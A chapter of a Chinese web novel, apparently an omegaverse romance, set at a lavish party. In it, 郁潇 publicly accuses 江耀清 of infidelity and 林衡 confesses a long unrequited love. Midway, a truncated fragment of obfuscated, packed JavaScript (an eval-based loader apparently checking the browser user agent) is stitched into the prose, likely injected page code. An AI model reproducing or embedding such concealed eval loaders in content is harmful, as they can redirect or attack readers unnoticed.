“是啊,别惦记了,潇潇,那个姓程的小白脸有主了,人家是江总的……” 这群公子哥说话向来没轻没重,郁潇气得脸煞白,眼看着就要往光亮皮鞋上狠踩一脚—— “曾少,来客人了。” 身后传来侍者气喘吁吁的声音。 郁潇星眸一闪,灰褐色的水波纹长发一甩,带起浓烈的香气,“哥,你回……” 话没说完,她便怔在了当场。 只见亮如白昼的夜色里,一男一女分开人潮,踏着声浪,登上雪白的高台。 高台上烟雾氤氲、异香缭绕、鲜花如绸,女郎短裙上的亮片闪得人两眼发虚。而来客却静定得骇人,没有兴奋活络的眼,也没有痴痴翕张的嘴,两人面无表情,目不斜视,竟让穷奢极欲的销金窟一时冷了下去。 一片寂静里,忽然有人开口了:“这、这不是江总吗……” “哎呦,是江总,稀客稀客啊,什么风把您吹来了?” 一时间,热络的寒暄声此起彼伏,无数张故作熟稔的面孔凑了上去,忙不迭地恭维这位姗姗来迟的贵客。 是江耀清。 他代表实力雄厚的国际药企来银城投资建厂,几乎是人尽皆知的消息。 在这群纨绔子弟争先恐后地同他攀谈的当口,被人逮着痛脚踩了半个晚上的郁潇脑中啪地一声,最后一根弦彻底绷断了。 酒精的加持下,她的满腔妒火忽地就蹿上了头顶,气得牙齿咬得咯咯直响。 “曾少好,您这里真热闹。” 江耀清冲周围人点头问好,同主人客套道:“三天后是您的生日,不巧我去外地出差,就提前来道一声祝福。贺礼已经送到您的别墅了,我来敬您一杯酒,不知道您肯不肯赏面?” “这是哪里话,难得你肯来看我,千杯万杯都得喝!去,快去,倒两杯……” 在红酒注入杯中的脆响里,强压着胃酸的林衡忽然想到,按照医生的说法,受了信息素的刺激后再饮酒,可能会引起过敏反应。 他忍不住抬手去碰耀清的手臂。 叮—— 在若干道视线里,两位主角碰了下杯,江耀清祝贺道:“祝曾少心想事成,鸿图大展。” 说罢,他将红酒一饮而尽。 “好!” 曾成文心花怒放,爽快地一口喝干。在周遭的起哄声里,他热情地邀约道:“耀清,我知道你不爱这种场合,但你难得来一回,还带来位美女,不如……” “带来位美女?哟,江总挺有情调啊……” 曾少话没说完,一道清脆的女声便截断了他的客套。 在高跟鞋的哒哒声里,一双纤巧秀气的手探出乌压压的人群,银亮的指尖不耐烦地左右一分,公子哥们立刻嘟囔着闪避,让出一位身着纯黑裹身羊毛裙,肩披灰褐色水波纹长发的美人。 郁潇站在曾少身边,两腿交叉,略歪着头,目光将江耀清从头到脚刮了个遍,寒恻恻地一笑:“江总这是撇下了男友,自己出来风流了呀?” 25. 风暴眼 此言一出,周遭的气氛霎时变得古怪起来。 有人故作轻松地笑了声,试图打圆场道:“嗨,江总哪儿来的男朋友,一直独来独往的……” “不是吧,白总?我记得是你特意跑来告诉我,程秋意和江总确定关系了,讲得眉飞色舞的,难道你忘了?” 郁潇拨了拨蓬松垂顺的长发,钻石的闪光在耳垂上一晃而过。她的平眉剔得短而锋利,微微蹙紧时五官陡然深邃,焕发着艳丽的攻击性:“这事在场的诸位都知道,不是吗?毕竟嘻嘻哈哈地议论了一整晚呢……” “潇潇,你喝多了,底下的‘火车’要发车了,我带你去下面……” “你瞧你们,紧张个什么劲儿?江总和阿程,相貌家境都登对,你们不过是感慨几句,就算被江总知道了,又怎么了?” 郁大小姐转过被酒精熏得略红的脸孔,亮棕色的眼珠重新盯住阴郁苍白的江耀清,话锋一转,道:“金玉良缘当然不怕议论。但要是某些见不得人的丑事,没遮掩好,传出去了,恐怕会成为所有人茶余饭后的笑柄吧?” “潇潇!” “实话实说,没人不知道江总和程家二公子公开了恋情,甚至连程老爷子都点了头——就在姓闻的举办的商业酒会上。这桩好消息传得沸沸扬扬,被不少长辈拿来教育自家儿孙,早点搞定终身大事……阵仗搞得这么大,要是转眼就楼塌了,落得一地鸡毛,大家面子上都过不去吧?” “行了行了!潇潇!去温室找你哥,他这么久没回来,说不定……” “程家向来讲究脸面,程老爷子更是出了名的治家极严,最恨那些不三不四的脏人烂事。他执掌的腾川药业是知名的原料商,只要在银城做生物药的生意,没谁能绕开程家。要是江总在外头装都不装,挽着不知道哪儿来的女伴,消息隔天就传得满天飞,下了程家的面子,即便江总背靠德通集团,往后也难从银城这片‘红海’里分一杯羹吧?” “好了,你……” “闭上嘴!别把我耐心磨没了!” 郁潇的威胁一落地,四周立刻便鸦雀无声了。 “江总,程家二公子程秋意,论人品、论学历、论样貌,哪样不是一等一的?爱慕他的人数不胜数……就算真是商业联姻,也得彼此尊重吧?” 郁潇努了努亮晶晶的唇,讥诮地笑了声:“江总是体面人,总得干点体面事吧?” 这句尖刻的讽刺在夜风里回响,让在场所有人的脸都绿了。 这么一干鬼混的二代里,就属郁潇顶顶要强,读书往死里读,蹦迪往死里蹦,追男人往死里追,喝过酒了更是疯劲儿上来了,吵架非要撕烂对方的脸皮才罢休,就算她敢说都没人敢听,敢听也没人敢接,让人尴尬得恨不得从高台上跳下去。 在她斜对面的林衡,此时此刻正忍受着生理上的煎熬。 臭烘烘的信息素无孔不入地袭来,让他牙关打颤,冷汗出了一身,等郁潇骂了过半,才听出是什么意思。 那一瞬间,他的脑海中嗤拉一声,像一点火星落在柴禾堆上,所剩无几的自尊心被彻底焚毁了。 被迫屈从于父母的悲哀、遭遇未婚夫背叛的愤怒、独自负担生活的艰辛、掉入网友圈套的惊恐、以及与旧爱重逢后的种种愧疚、酸楚、心惊胆战…… 还有发情期被撞见的窘迫与难堪,短短几天内,统统不讲道理地砸碎了他的生活,本就不堪重荷、伤筋断骨,如今他又被当众骂作不三不四不体面…… 他当然不体面,他甚至不能以真面目示人,像只藏头露尾的老鼠。他怀揣多年的恋慕也只敢烂在肚子里,像郁大小姐这般毫不遮掩地示爱,哪怕在梦里都不敢。 ——为什么不敢? 一道声音在脑海中一刻不停地响彻,在歇斯底里地质问着。 ——你为什么不敢,有什么不敢? 他听见一阵声音从腔膛里发出,“郁小姐,你误会了。” 这话一出口,他的心脏突地一震,甚至连被称作灵魂的存在都跟着颤抖。 他感到自己的嘴唇正一上一下地动:“是我单方面爱慕耀清,很久很久了。” 周遭一时陷入安静,连风声都冻结了。 郁潇眉梢恼怒地一挑,她的视线始终锥在江耀清身上,此刻终于迅速地移过来—— 郁潇的双眼霍地睁大了。 “这位小姐,您应该是在说笑吧?” 她的口吻忽然变得彬彬有礼了,面对这位出尘、虚弱、略显神经质的美人,甚至不由自主地放轻了音量:“我没有为难你的意思。” “嗯。我没说谎,我单恋江总,已经七年了。” 真奇妙。 他身体里的吵闹竟达到了某种微妙的平衡,像作用力和反作用力互相抵消。 “七年前,我第一眼见到他时,便眼前一亮,心里有种莫名的感觉。我们相处半年,时光一晃而过,这种感觉愈发浓厚了。可惜江总去了国外,联系中断,这份情愫便一直潜藏心底。” 他吐字慢慢的,很迟缓,数道目光集中在他身上,他牵一牵言语的丝线,五六颗心就在这番剖白里颤动一下。 “江总对我的态度,没什么特殊的,只是认识得久,给几分薄面,我约他吃饭,他不方便推脱。” “今天跟他来派对,是我单方面纠缠,我也确实迟钝,不知道流言可畏。谢谢郁小姐提点,今晚过后,我不会出现在江总身边了。” 说这话时,他不曾看向任何人,目光没有焦点,像说给自己听。 不会有人当真——虚与委蛇的社交场上,真话也成了谎话,他可以肆无忌惮地袒露灵魂。 一种奇特的超脱感涌上心头。 他的心静定下来,甚至静得出奇。 对面的郁潇倒吸一口气,愈加咄咄逼人了,“江总,你一个男人,还要女伴来替你解释吗?一个弱质纤纤的女孩替你揽了全部过错,你真的不觉得羞耻吗?” “郁小姐,我并不是江总的女伴。” 林衡笑了下,解释着:“自他回国以来,这是我们第一次单独见面。我的示好,江总从没予以回应。也劳烦诸位当做今晚什么都没发生,我很抱歉。” “潇潇你差不多得了。” 曾少看不下去了,皱着眉训了两句:“人家诚心诚意的,你见好就收吧。其他人都把嘴给我焊死了,一个个的别给我出去乱说。” 可郁大小姐偏偏死咬着不松口,林衡越道歉,她对江耀清的妒火越是暴涨。 “江总,这么多人替你开脱,只有你一言不发。你到底有没有背着阿程乱来,给个准话吧。如果有,那就赶快和阿程断了,别耽误他,追他的人还等着排号呢。如果没有,那就该忠贞不二,往后别再和其他人牵扯不清。我就要个回答,有或没有,江总不会敢做不敢当吧?” 这话说得够绝够狠,大罗金仙也难救场,气氛眼看着就要跌至冰点。 林衡的眼珠转向耀清,就像在场的五六对眼睛一般。 只是外人看到的是耀清面部轮廓锋锐的阴影,是令人捉摸不透的冷淡眼神,而他看到的却是一切的反面——是自脖颈向下的细微的颤动,是垂在身侧布满冷汗的手指,是稍稍向内撤了一寸的鞋尖。 他猜耀清几乎魂游天外了,只有这样才能抵御生理上剧烈的痛苦,从□□的煎熬解脱片刻。他不确定耀清听懂了什么,耀清的病太重,恐怕连开口都艰难,不如—— “潇潇。” 一阵脚步声从身后响起了。 来者一身黑衣,仍旧是那副风流潇洒的模样,俏丽的桃花眼扫过众人或青或红的面孔,最终停在堂妹咬紧的下唇上:“打牌赢了吗,潇潇?” 郁潇狠狠瞪着江耀清,牙齿慢慢松开咬紧的唇,留下一痕褪色的深印子。 “手气不好,输了胸针,你的‘新欢’不会生气吧?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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嘭、嘭、嘭—— 远处传来礼炮升空的爆鸣声,金银两色的彩带漫天飞舞,撒向泳池边寻欢作乐的男男女女,在比基尼女郎的口哨声里,高台下回荡着此起彼伏的欢呼:“‘火车’发车啦!‘浪潮号列车’就要发车了!” 派对的高潮进入了倒计时。 台下的音乐变作隆隆的鼓点,众人跟着节奏齐声呐喊:“十、九、八……” 可高台上这群期待已久的二代们,却全都背对着泳池,鸦雀无声,乱蹦的心脏蹿到了喉咙口,噎得他们两眼发黑、身上冒汗,只能傻愣愣地在原地候着。 没人能想到,一番语气平淡的自陈、一桩毫不香艳的八卦,竟能比纵情声色的热舞更能吊起他们的胃口。 或许是江耀清的谈吐有魔力,能让人自觉屏蔽掉一切干扰,只期待他嘴唇的下一次翕张。 台下放肆的呐喊声仿佛来自另一个世界:“七、六、五……” 众目睽睽下,江耀清一字一句地继续道:“我和阿程,是多年的朋友。我和他的关系,并不如谣传中那般亲密……” “四、三、二、一……” 砰、砰、砰—— 是烟花骤然腾空的破风声,是香槟冲出瓶塞的尖啸声。 四面八方传来令人兴奋的汽笛声:“嗡——嗡——” 泳池边声色满载的‘火车’正式发车了。 烟火璀璨缤纷的华光落在江耀清苍白的面孔上,让他的眼瞳一亮又一暗,“我们从未——” DJ的指尖再次在打碟机上飞舞,动感的音乐重新点燃全场,将整个庭院的气氛推向新的高潮。 他的后半句彻底淹没在震天动地的电子节奏里,模模糊糊,像是水下传来的声音,只能根据口型来猜测:“交往过——”